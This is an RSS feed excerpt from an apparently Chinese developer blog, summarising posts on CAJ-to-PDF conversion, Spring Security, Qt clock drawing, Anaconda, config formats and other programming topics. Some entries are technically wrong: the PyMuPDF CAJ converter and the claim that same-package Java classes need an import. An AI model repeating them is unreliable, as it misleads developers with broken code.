      <title>python实现caj转pdf代码</title>
      <link>https://bchobby.github.io/posts/3d9d5a748aacbb349e6439a9ea6c0974/</link>
      <pubDate>Sat, 11 Feb 2023 12:19:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d9d5a748aacbb349e6439a9ea6c0974/</guid>
      <description> 要实现将 caj 文件转换为 pdf，您可以使用一个第三方库，例如 PyMuPDF。&#xA;以下是一个示例代码：&#xA;import fitz def caj_to_pdf(caj_file, pdf_file): # 打开 caj 文件 doc = fitz.open(caj_file) # 保存为 pdf 文件 doc.save(pdf_file) # 关闭文件 doc.close() if __name__ == &#39;__main__&#39;: caj_to_pdf(&#39;example.caj&#39;, &#39;example.pdf&#39;) </description>
    </item>
    <item>
      <title>SpringBoot整合SpringSecurity，实现登陆认证及授权</title>
      <link>https://bchobby.github.io/posts/2111b47d56b8badc9c0ca72de84d62a2/</link>
      <pubDate>Sat, 11 Feb 2023 00:47:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2111b47d56b8badc9c0ca72de84d62a2/</guid>
      <description>1、导入jar包 &amp;lt;dependencies&amp;gt; &amp;lt;!-- SpringBoot的依赖配置--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;optional&amp;gt;true&amp;lt;/optional&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--jwt依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;io.jsonwebtoken&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;jjwt&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.9.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;io.springfox&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;springfox-swagger2&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.9.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;io.springfox&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;springfox-swagger-ui&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.9.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--验证码 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.github.penggle&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;kaptcha&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.3.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.commons&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;commons-lang3&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.8.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--fastjson--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;fastjson&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.75&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- Spring Security--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.security&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-security-web&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.0.1.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.security&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-security-config&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.0.1.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- Spring Security方法级权限控制注解--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;javax.</description>
    </item>
    <item>
      <title>Keil芯片包下载及安装教程</title>
      <link>https://bchobby.github.io/posts/4408a85b22a16aa945982ad40d4fa3dd/</link>
      <pubDate>Fri, 10 Feb 2023 21:36:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4408a85b22a16aa945982ad40d4fa3dd/</guid>
      <description> （注：此为乐某学习记录，若有出错的地方欢迎各位指出！）&#xA;前言 建议安装迅雷，用迅雷来下载会快很多。如果网络好可以无视。&#xA;官网：https://www.keil.com/&#xA;官方下载地址：https://www.keil.com/dd2/pack/&#xA;一、迅雷下载教程 1.打开浏览器下载记录 2.右键弹出此窗口，点击复制下载链接 3.打开迅雷，点击新建 4.将下载链接复制进窗口后，点击立即下载 5.可以看到下载速度会比直接在浏览器下载快很多 二、下载教程 点击上方官网地址进入（若点击下载地址，可直接跳转至第五步） 点击Products 点击Arm Cortex-M 点击Public Software Packs 往下滑就可以看到STM32相关的芯片包了。另外还有国产芯片包，例如：华大、中微、GD系列。 三、Keil芯片包的安装 双击打开下载的芯片包 2.点击Next&amp;gt;&amp;gt; 3.正在安装 4.点击Finish，即完成安装 5.打开Keil，即可看到安装好的芯片包 </description>
    </item>
    <item>
      <title>【Anaconda学习】创建环境与切换环境</title>
      <link>https://bchobby.github.io/posts/b5fc2ad867e86e3c279bd1160ece3887/</link>
      <pubDate>Fri, 10 Feb 2023 21:16:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5fc2ad867e86e3c279bd1160ece3887/</guid>
      <description>1. 创建环境 创建一个叫nerf的环境&#xA;conda create -n nerf 2. 查看所有环境 conda info --envs 我的显示如下&#xA;可以看到，我有两个环境，环境名为base和nerf，后面为相应的环境路径&#xA;有*号的环境说明目前是激活的&#xA;3. 切换环境 先关闭当前环境&#xA;conda deactivate 然后激活另一个环境&#xA;conda activate nerf 查看环境得到：</description>
    </item>
    <item>
      <title>QT中的绘画工具与定时器工具实现简易时钟</title>
      <link>https://bchobby.github.io/posts/388bfe95bb16168cbe61143a8c0b0eb6/</link>
      <pubDate>Fri, 10 Feb 2023 20:53:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/388bfe95bb16168cbe61143a8c0b0eb6/</guid>
      <description>作业要求：使用QT中的绘画工具与定时器工具实现简易时钟&#xA;#include &#34;widget.h&#34; #include &#34;ui_widget.h&#34; #include &amp;lt;QDebug&amp;gt; Widget::Widget(QWidget *parent) : QWidget(parent) , ui(new Ui::Widget) { ui-&amp;gt;setupUi(this); } Widget::~Widget() { delete ui; } //重写绘制事件处理函数 void Widget::paintEvent(QPaintEvent *event) { //启动定时器 time = startTimer(1000); QPen pen; QPainter p(this); p.setPen(Qt::black); p.setFont(QFont(&#34;黑体&#34;,10)); p.setBrush(QColor(&#34;pink&#34;)); //设置刷子 p.translate(QPoint(width()/2,height()/2)); p.drawEllipse(QPoint(0,0),200,200); for (int i=0;i&amp;lt;360/6;i++) { pen.setWidth(1); p.setPen(pen); if(i%5==0) { pen.setWidth(2); p.setPen(pen); p.drawLine(QPoint(0,-199),QPoint(0,-190)); if(i==0) p.drawText(QPoint(-15,-160),QString::number(12)); else p.drawText(QPoint(-15,-160),QString::number((i/5))); } p.drawLine(QPoint(0,-199),QPoint(0,-190)); p.rotate(6); } QPainter p1(this); //秒针 p1.translate(QPoint(width()/2,height()/2)); pen.setWidth(2); pen.setColor(QColor(&#34;red&#34;)); p1.setPen(pen); p1.rotate(6*second); p1.drawLine(QPoint(0,-150),QPoint(0,5)); QPainter p2(this); //分针 p2.</description>
    </item>
    <item>
      <title>基于QT的时钟表盘设计</title>
      <link>https://bchobby.github.io/posts/aaba17f801c030169139b3eb28e5a2cd/</link>
      <pubDate>Fri, 10 Feb 2023 20:17:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aaba17f801c030169139b3eb28e5a2cd/</guid>
      <description>基于QT设计根据电脑本地时间的时钟，要求具有时针，分针，秒针，而且根据时间产生对应的偏移&#xA;头文件&#xA;#ifndef WIDGET_H #define WIDGET_H #include &amp;lt;QWidget&amp;gt; #include &amp;lt;QPainter&amp;gt; #include &amp;lt;QPaintEvent&amp;gt; #include &amp;lt;QDebug&amp;gt; #include &amp;lt;QTimerEvent&amp;gt; #include &amp;lt;QTime&amp;gt; #include &amp;lt;QTimer&amp;gt; QT_BEGIN_NAMESPACE namespace Ui { class Widget; } QT_END_NAMESPACE class Widget : public QWidget { Q_OBJECT public: Widget(QWidget *parent = nullptr); ~Widget(); //重写画家虚函数 void paintEvent(QPaintEvent *event) override; private: Ui::Widget *ui; QTimer *time; QTime t; int hour; int minute; int second; }; #endif // WIDGET_H 源文件&#xA;#include &#34;widget.h&#34; #include &#34;ui_widget.h&#34; Widget::Widget(QWidget *parent) : QWidget(parent) , ui(new Ui::Widget) { ui-&amp;gt;setupUi(this); //初始化实时绘制时钟连接 //初始化时钟与画家 time = new QTimer(this); connect(time,&amp;amp;QTimer::timeout,[&amp;amp;](){update();}); time-&amp;gt;start(1000); } Widget::~Widget() { delete ui; } //定义画板 void Widget::paintEvent(QPaintEvent *event) { //准备画笔 QPainter p(this); p.</description>
    </item>
    <item>
      <title>Java heap space怎么办</title>
      <link>https://bchobby.github.io/posts/227c21a47510520731d44b36f1532dd5/</link>
      <pubDate>Fri, 10 Feb 2023 18:53:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/227c21a47510520731d44b36f1532dd5/</guid>
      <description>首先，要检查Java堆空间的配置，确保它满足程序的需求。如果配置不正确，可以增加Java堆空间的大小，以满足程序的需求。此外，还可以通过检查程序的代码，确定是否有内存泄漏，如果有，可以尝试修复内存泄漏，以解决Java堆空间不足的问题。</description>
    </item>
    <item>
      <title>java中如何导入同一个包下其他类文件中的方法，举个例子</title>
      <link>https://bchobby.github.io/posts/3e76855dc8fe07c7edbf6593b80b60a7/</link>
      <pubDate>Fri, 10 Feb 2023 16:15:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e76855dc8fe07c7edbf6593b80b60a7/</guid>
      <description>在 Java 中，可以使用 &#34;import&#34; 关键字导入同一个包下的其他类文件中的方法。&#xA;例如：假设在同一个包 &#34;com.example&#34; 下有两个类 &#34;ClassA&#34; 和 &#34;ClassB&#34;，那么可以在 &#34;ClassB&#34; 中导入 &#34;ClassA&#34; 中的方法，代码如下：&#xA;import com.example.ClassA; public class ClassB { ... ClassA a = new ClassA(); a.methodA(); ... } 在这个例子中，我们导入了 &#34;com.example.ClassA&#34; 中的方法，并在 &#34;C</description>
    </item>
    <item>
      <title>three.js学习笔记（一）：THREE.Materail五种基础材质的使用</title>
      <link>https://bchobby.github.io/posts/0d2a417b97f43dff962511bed83d7230/</link>
      <pubDate>Fri, 10 Feb 2023 16:03:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d2a417b97f43dff962511bed83d7230/</guid>
      <description>MeshBasicMaterial（网格基础材质）：基础材质，用于给几何体赋予一种简单的颜色，或者显示几何体的线框。MeshDepthMaterial（网格深度材质）： 这个材质使用从摄像机到网格的距离来决定如何给网格上色。MeshLambertMaterial（网格 Lambert 材质）： 这是一种考虑光照影响的材质，用于创建暗淡的、不光亮的物体。MeshNormalMaterial（网格法向材质）：这是一种简单的材质，根据法向向量计算物体表面的颜色。MeshPhongMaterial（网格 Phong 式材质）：这是一种考虑光照影响的材质，用于创建光亮的物体。 一、材质的共有属性 three.js提供了一个THREE.Materail 材质的抽象基类，所有其他材质类型都继承了以下属性和方法：&#xA;1、基础属性 id（标识符）：此材质实例的唯一编号，并在材质创建时赋值。第一个材质的值从 0 开始，每新加一个材质，这个值就增加 1。&#xA;uuid（通用唯一识别码）：这是生成的唯一 ID，在内部使用。&#xA;name（名称）：可以通过这个属性赋予材质名称，用于调试的目的。&#xA;opacity（不透明度）： 定义物体的透明度。与 transparent 属性一起使用。该属性的赋值范围从 0 到 1。&#xA;transparent（是否透明）：定义此材质是否透明，可以通过opacity属性来控制透明程度。&#xA;默认值为false，所以如果需要做透明渲染效果，需要设置transparent设置为true。&#xA;如果使用 alpha（透明度）通道的纹理，该属性应该设置为 true。&#xA;overdraw（过度描绘）：当你使用 THREE.CanvasRender 时，多边形会被渲染得稍微大一点。当使用这个渲染器渲染的物体有间隙时，可以将这个属性设置为 true。&#xA;visible（是否可见）：定义该材质是否可见。默认为true，如果设置为 false，那么在场景中就看不到该物体。&#xA;side（侧面）：通过这个属性，可以定义几何体的渲染哪一面。&#xA;默认值为 THREE.FrontSide（前面），定义将要渲染材质的前面（外侧）。&#xA;设置为 THREE.BackSide（后面），定义将要渲染材质的后面（内侧）。&#xA;设置为 THREE.DoubleSide（双侧），定义将要渲染材质的内外两侧。&#xA;needsUpdate（是否更新）：对于材质的某些修改，需要告诉 Three.js 材质已经改变了。如果该属性设置为 true，Three.js会使用新的材质属性更新它的缓存。&#xA;在使用过程中需要注意的有一下三点：&#xA;（1）opacity和transparent需要一起搭配使用，在transparent为true时，opacity才会起作用，下面举例示范；&#xA;// 创建材质 let color = new THREE.Color(Math.random(), Math.random(), Math.random()) // 未向材质中添加 transparent 属性 const material = new THREE.MeshBasicMaterial({ color: color, opacity: 0.</description>
    </item>
    <item>
      <title>各类配置文件格式简介(ini,yaml,conf,xml...)和nb的Viper</title>
      <link>https://bchobby.github.io/posts/16ab5efb40d5d0f0454505695eda6b4e/</link>
      <pubDate>Fri, 10 Feb 2023 15:57:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16ab5efb40d5d0f0454505695eda6b4e/</guid>
      <description>目录 配置文件ini介绍语法demo库 json语法demo库 xml介绍语法&amp;amp;demo yamldemo tomlpropertiesHOCONplist(plist 是捆上了手脚的 xml) Viper（22k star）安装why viperSet默认值读取配置文件写入配置文件监控配置文件从io.Reader读取配置覆盖设置注册和使用别名使用环境变量使用Flagsflag接口 远程Key/Value存储支持远程Key/Value存储示例-未加密（etcd)远程Key/Value存储示例-加密(etcd)监控etcd中的更改-未加密从Viper获取值访问嵌套的键提取子树反序列化序列化成字符串单例viper使用多个viper实例使用Viper示例使用结构体变量保存配置信息 配置文件 适合人类编写：ini &amp;gt; toml &amp;gt; yaml &amp;gt; json &amp;gt; xml &amp;gt; plist&#xA;可以存储的数据复杂度：xml &amp;gt; yaml &amp;gt; toml ~ json ~ plist &amp;gt; ini&#xA;ini 介绍 ini文件是一个无固定标准格式的配置文件。它以简单的文字与简单的结构组成，常常使用在Windows操作系统。ini文件的命名来源，是取自英文“初始（Initial）”的首字缩写，正与它的用途——初始化程序相应。&#xA;语法 一个ini文件是由多个section（段）组成。每个段中都包含多个option（数据项），以key=vlaue形式存储数据；注释 以 # 或者 ; 开头。 demo # config.ini [user_info] name = zhangsan age = 18 gender = 男 is_admin = true [connect] host = 127.0.0.1 user = db password = 123456 port = 1521 db = zet 库 python使用内置包 configparser对ini文件进行操作，不需要安装依赖包。 json JSON（JavaScript Object Notation）是一种轻量级的数据交换语言，以文字为基础，且易于让人阅读。尽管JSON是Javascript的一个子集，但JSON是独立于语言的文本格式，并且采用了类似于C语言家族的一些习惯。</description>
    </item>
    <item>
      <title>doris和starrocks的区别</title>
      <link>https://bchobby.github.io/posts/0a5016b99faa7e0b1f357a1fec833f55/</link>
      <pubDate>Fri, 10 Feb 2023 15:14:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a5016b99faa7e0b1f357a1fec833f55/</guid>
      <description>抱歉，我无法为您提供有关 &#34;doris&#34; 和 &#34;starrocks&#34; 的信息，因为我无法确定您所提到的两个术语代表什么意思。可能您想要问的是其他东西？请再次描述您的问题或提供更多的上下文，这样我才能帮助您。</description>
    </item>
    <item>
      <title>springboot配置处理mybatis带有下划线数据库字段无法映射实体，解决驼峰命名映射问题</title>
      <link>https://bchobby.github.io/posts/4e2f80f0a954befb1def2229f9b1d6b7/</link>
      <pubDate>Fri, 10 Feb 2023 14:58:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e2f80f0a954befb1def2229f9b1d6b7/</guid>
      <description>1.问题 接口请求后查询发现返回的部分数据为null,都是大小写字段驼峰命名的为空&#xA;[{&#34;id&#34;:1,&#34;userName&#34;:null,&#34;phone&#34;:&#34;13126789145&#34;,&#34;province&#34;:&#34;03&#34;,&#34;userAccount&#34;:null,&#34;userPassword&#34;:null}] 2.代码文件配置 （1）数据库设计字段为： create table DEMO_USER ( id NUMBER(10) not null, user_name VARCHAR2(100), phone VARCHAR2(30), province VARCHAR2(50), user_account VARCHAR2(50), user_password VARCHAR2(50) ) （2）对应实体： public class DemoUserEntity implements Serializable { private static final long serialVersionUID = 1L; /** * $column.comments */ private Integer id; /** * $column.comments */ private String userName; /** * $column.comments */ private String phone; /** * $column.comments */ private String province; /** * $column.comments */ private String userAccount; /** * $column.</description>
    </item>
    <item>
      <title>TypeError: Cannot read properties of undefined (reading ‘JsonRpcProvider‘)</title>
      <link>https://bchobby.github.io/posts/921de69eed681cd393f5c56809877d15/</link>
      <pubDate>Fri, 10 Feb 2023 00:35:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/921de69eed681cd393f5c56809877d15/</guid>
      <description>原因：ethers版本过高，第六版不支持ethers.providers.JsonRpcProvider()用法 解决方案： 方法1： 将ethers.providers.JsonRpcProvider()改为&#xA;ethers.JsonRpcProvider()&#xA;方法2： 将package.json中ethers版本号修改为5.4 &#34;dependencies&#34;: { &#34;ethers&#34;: &#34;5.4&#34; } 删除node_modules文件夹中的ethers文件夹&#xA;在终端使用npm install ethers@5.4或 yarn add ethers@5.4重新安装ethers&#xA;个人笔记，仅供参考！</description>
    </item>
    <item>
      <title>SVG基础语法及使用</title>
      <link>https://bchobby.github.io/posts/3040f1647c07b99cfd9431224c005941/</link>
      <pubDate>Fri, 10 Feb 2023 00:01:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3040f1647c07b99cfd9431224c005941/</guid>
      <description>背景 前端开发过程中经常会接触SVG格式的图像，且相较于其他格式图像，SVG为代码形式。前端开发人员若掌握一些基本的SVG语法，可以在绘制一些页面上的图形时具有更高的效率，更少且可读性更高的代码。&#xA;概述 SVG意为可缩放矢量图形SVG使用XML格式定义图像SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失SVG是W3C推荐标准 特征 相比JPEG、GIF等图像格式，尺寸更小，可伸缩性更强可伸缩，不因尺寸影响图形质量文本可选且可搜索可以与JavaScript技术一起运行是纯粹的XML(XML是什么) SVG元素 SVG根元素 &amp;lt;svg&amp;gt;&amp;lt;/svg&amp;gt;&#xA;常用属性 widthheight SVG矩形 &amp;lt;rect/&amp;gt;&#xA;常用属性 widthheightfill 矩形的填充颜色style css属性stroke 矩形边框颜色【stroke详情】&#xA;(stroke详情)rx ry 矩形圆角 示例 &amp;lt;svg width=&#34;500&#34; height=&#34;100&#34;&amp;gt; &amp;lt;rect x=&#34;10&#34; y=&#34;10&#34; width=&#34;150&#34; height=&#34;50&#34; rx=&#34;20&#34; ry=&#34;20&#34; fill=&#34;orange&#34; stroke=&#34;red&#34; /&amp;gt; &amp;lt;/svg&amp;gt; SVG圆形 &amp;lt;circle/&amp;gt;&#xA;常用属性 cx cy 圆点坐标，若省略则为 (0, 0)r 圆的半径 示例 &amp;lt;svg width=&#34;500&#34; height=&#34;100&#34;&amp;gt; &amp;lt;circle cx=&#34;100&#34; cy=&#34;50&#34; r=&#34;40&#34; stroke=&#34;red&#34; stroke-width=&#34;2&#34; fill=&#34;orange&#34; /&amp;gt; &amp;lt;/svg&amp;gt; SVG椭圆 &amp;lt;ellipse/&amp;gt;&#xA;常用属性 rx ry 椭圆的水平半径与垂直半径 示例 &amp;lt;svg width=&#34;500&#34; height=&#34;100&#34;&amp;gt; &amp;lt;ellipse cx=&#34;</description>
    </item>
    <item>
      <title>macOS中虚拟机桥接模式分配静态ip</title>
      <link>https://bchobby.github.io/posts/ce7b65135ccae4f7b99a7966ef0fca19/</link>
      <pubDate>Thu, 09 Feb 2023 21:13:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce7b65135ccae4f7b99a7966ef0fca19/</guid>
      <description>1.首先使用dhclient命令，在局域网中分配一个C类地址。&#xA;2.获得地址后，输入ifconfig，查看分配的地址。&#xA;3.然后编辑vi /etc/sysconfig/network-scripts/ifcfg-en***文件&#xA;在该配置文件中编辑，设置ONBOOT=yes，而后添加静态配置地址：&#xA;IPADDR=192.168.0.117&#xA;NETMASK=255.255.255.0&#xA;GATEWAY=192.168.0.1&#xA;DNS1=192.168.1.1&#xA;DNS2=192.168.0.1&#xA;这里的IPADDR就是dhclient分配的C类地址&#xA;NETMASK子网掩码一般为255.255.255.0&#xA;网关地址是路由器的地址&#xA;然后再写上DNS的地址。这些信息均在macOS系统偏好的网络中能找到。&#xA;TYPE=Ethernet BOOTPROTO=dhcp DEFROUTE=yes PEERDNS=yes PEERROUTES=yes IPV4_FAILURE_FATAL=no IPV6INIT=yes IPV6_AUTOCONF=yes IPV6_DEFROUTE=yes IPV6_PEERDNS=yes IPV6_PEERROUTES=yes IPV6_FAILURE_FATAL=no NAME=eno16777736 UUID=828519be-5364-4cec-aefb-145432d241b8 DEVICE=eno16777736 ONBOOT=yes IPADDR=192.168.0.117 NETMASK=255.255.255.0 GATEWAY=192.168.0.1 DNS1=192.168.1.1 DNS2=192.168.0.1 设置完成以后，就剩下最后一步了。输入&#xA;systemctl restart network.service&#xA;重启网络设置。&#xA;通过以上的步骤就能设置Linux虚拟机的ip地址，不随着每次开关机变化啦。&#xA;贴一张今天实验的效果图吧~</description>
    </item>
    <item>
      <title>win10系统下安装Linux系统</title>
      <link>https://bchobby.github.io/posts/21e27d587821b34d33d522910cd173ca/</link>
      <pubDate>Thu, 09 Feb 2023 18:42:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21e27d587821b34d33d522910cd173ca/</guid>
      <description>win10系统下安装Linux系统 准备工具：一个U盘、UItraISO、Linux系统镜像&#xA;下载UItraISO与Linux系统镜像 附上下载链接：&#xA;下载Linux系统镜像：&#xA;https://mirrors.tuna.tsinghua.edu.cn/&#xA;下拉找到最近几年发行的版本：&#xA;我这里下载的是Ubuntu 18.04.6&#xA;下载UItraISO&#xA;https://cn.ultraiso.net/uiso9_cn.exe&#xA;开始前的准备工作 1.U盘中的内容最好先拷贝，后期制作Linux系统盘的时候会删除u盘中的所有数据；&#xA;2.事先查看自己U盘的格式与电脑磁盘格式是否一致，不一致要将u盘格式化为电脑的磁盘格式&#xA;右键u盘，单击属性，查看问文件系统，此处我的格式为：FAT32&#xA;查看磁盘格式：&#xA;右键单击我的电脑，点击管理，进入磁盘管理，查看磁盘格式：此处我的磁盘格式为 NTFS，接下来要将u盘格式化为NTFS，方法比较简单，自行网上查找。&#xA;制作Linux系统盘 打开UItraISO，点击文件，点击打开，打开下载的Linux系统镜像文件&#xA;点击：启动-&amp;gt;写入硬盘映像(硬盘驱动器，选自己的u盘)-&amp;gt;格式化-&amp;gt;写入，之后会提示写入成功。&#xA;分盘 我这里之前有两个盘，分了大概40G给Linux系统，一共是三个盘。&#xA;网上有人说不能超过三个盘，否则后期给Linux分盘时会提示出错，这里我也不太清楚，大家多找几篇看看。&#xA;分盘自行网上查找方法&#xA;基本输入输出系统BIOS的快捷键 我的电脑是联想的ThinkPad，在开机启动时进入BIOS的快捷键是F1，有些电脑是F2，大家记得百度查看自己电脑的快捷键。&#xA;1.设置SecureBoot为Disabled&#xA;开机时进入BIOS，通过方向键，往右选择Security，再往下选择Security Boot，回车。设置选中SecureBoot并回车，+/-键更改为Disabled，回车选中。&#xA;2.StartUp-&amp;gt;Boot,将 USB HDD…u盘名 该项通过 + -键调至第一位（目的是开机首选U盘中的系统）&#xA;如果在后续安装过程中出错，可在这里将Windows系统调至第一位（Windows Boot Manager），开机直接进入Windows系统。&#xA;安装Linux系统 按照开机提示安装Ubuntu，选择语言、键盘布局、安装类型等。&#xA;注意安装类型选择其他选项，也就是自己进行磁盘分区。&#xA;参考链接：&#xA;https://yebd1h.smartapps.cn/pages/blog/index?blogId=120213231&amp;amp;_swebfr=1&amp;amp;_swebFromHost=bdlite</description>
    </item>
    <item>
      <title>记录一些报错</title>
      <link>https://bchobby.github.io/posts/cc05b1309f5e294958ee363127051d8b/</link>
      <pubDate>Thu, 09 Feb 2023 16:49:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc05b1309f5e294958ee363127051d8b/</guid>
      <description>1.random.sample函数 1.1错误提示 TypeError: Population must be a sequence. For dicts or sets, use sorted(d).&#xA;1.2 原因分析 是因为我们random.sample里面没有使用list，而是set&#xA;1.3 解决方法 用list()包起来即可&#xA;list(np.where(ytrue == 0)[0]) 2.数组形状不同，拼接出错 2.1 错误提示 ValueError: setting an array element with a sequence.&#xA;ValueError: float() argument must be a string or a number, not ‘csr_matrix’&#xA;2.2 原因分析 这里的特征矩阵是稀疏矩阵，输入到模型里的数据没严格转换成 np.arry()形式，要对其进行转换&#xA;使用 .toarray()&#xA;2.3 解决方法 model.fit(numpy.vstack((labeledX.toarray(), unlabeledX[uidx].toarray())), numpy.hstack((labeledy, unlabeledy_old[uidx]))) 3.XGBClassifier 3.1 错误提示 Starting in XGBoost 1.3.0, the default evaluation metric used with the objective ‘binary:logistic’ was changed from ‘error’ to ‘logloss’.</description>
    </item>
    <item>
      <title>数据分享|R语言、SPSS基于主成分PCA的中国城镇居民消费结构研究可视化分析</title>
      <link>https://bchobby.github.io/posts/a005374de434e0d16860173b35026c33/</link>
      <pubDate>Thu, 09 Feb 2023 16:16:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a005374de434e0d16860173b35026c33/</guid>
      <description>全文链接：http://tecdat.cn/?p=31563 以全国31个省、市、自治区的城镇居民家庭平均每人全年消费性支出的食品、衣着、居住、家庭设备用品及服务、医疗保健、交通与通讯、娱乐教育文化服务、其它商品和服务等 8 个指标数据（查看文末了解数据免费获取方式）为依据， 利用SPSS和R统计软件， 采用主成分分析法对当前城镇居民消费结构进行分析（点击文末“阅读原文”获取完整代码数据）。&#xA;相关视频&#xA;结果显示: 娱乐教育文化服务、交通通讯、家庭设备用品、居住、食品是影响消费大小变动的主要因素， 而衣着、医疗保健、居住、食品是影响消费结构变动的主要因素; 各省市城镇居民消费大小与其经济发达程度密切相关; 相邻省市消费结构比较相似; 沿海地区与内地消费结构有较大的差别。&#xA;第一步：录入或调入数据&#xA;第二步：打开“因子分析”对话框。 沿着主菜单的“Analyze→Data Reduction→Factor”的路径（图2）打开因子分析选项框&#xA;第三步：选项设置。 首先，在源变量框中选中需要进行分析的变量，点击右边的箭头符号，将需要的变量调入变量（Variables）栏中（图3）。在本例中，全部8个变量都要用上，故全部调入（图4）。因无特殊需要，故不必理会“Value”栏。下面逐项设置&#xA;⒈ 设置Descriptives选项。 单击Descriptives按钮（图4），弹出Descriptives对话框（图5）。&#xA;在Statistics栏中选中Univariate descriptives复选项，则输出结果中将会给出原始数据的抽样均值、方差和样本数目（这一栏结果可供检验参考）；选中Initial solution复选项，则会给出主成分载荷的公因子方差（这一栏数据分析时有用）。 点击标题查阅往期内容&#xA;R语言主成分PCA、因子分析、聚类对地区经济研究分析重庆市经济指标&#xA;左右滑动查看更多&#xA;01&#xA;02&#xA;03&#xA;04&#xA;在Correlation Matrix栏中，选中Coefficients复选项，则会给出原始变量的相关系数矩阵（分析时可参考）；选中Determinant复选项，则会给出相关系数矩阵的行列式，如果希望在Excel中对某些计算过程进行了解，可选此项，否则用途不大。其它复选项一般不用，但在特殊情况下可以用到（本例不选）。 设置完成以后，单击Continue按钮完成设置（图5）。&#xA;设置Extraction选项。 打开Extraction对话框（图6）。因子提取方法主要有7种，在Method栏中可以看到，系统默认的提取方法是主成分，因此对此栏不作变动，就是认可了主成分分析方法。 在Analyze栏中，选中Correlation matirx复选项，则因子分析基于数据的相关系数矩阵进行分析；如果选中Covariance matrix复选项，则因子分析基于数据的协方差矩阵进行分析。对于主成分分析而言，由于数据标准化了，这两个结果没有分别，因此任选其一即可。 在Display栏中，选中Unrotated factor solution（非旋转因子解）复选项，则在分析结果中给出未经旋转的因子提取结果。对于主成分分析而言，这一项选择与否都一样；对于旋转因子分析，选择此项，可将旋转前后的结果同时给出，以便对比。 选中Scree Plot（“山麓”图），则在分析结果中给出特征根按大小分布的折线图（形如山麓截面，故得名），以便我们直观地判定因子的提取数量是否准确。&#xA;主成分计算是利用迭代（Iterations）方法，系统默认的迭代次数是25次。但是，当数据量较大时，25次迭代是不够的，需要改为50次、100次乃至更多。对于本例而言，变量较少，25次迭代足够，故无需改动。&#xA;设置Scores设置。 选中Save as variables栏，则分析结果中给出标准化的主成分得分（在数据表的后面）。至于方法复选项，对主成分分析而言&#xA;选中Display factor score coefficient matrix，则在分析结果中给出因子得分系数矩阵及其相关矩阵。 选中Display factor score coefficient matrix，则在分析结果中给出因子得分系数矩阵及其相关矩阵。 其它。 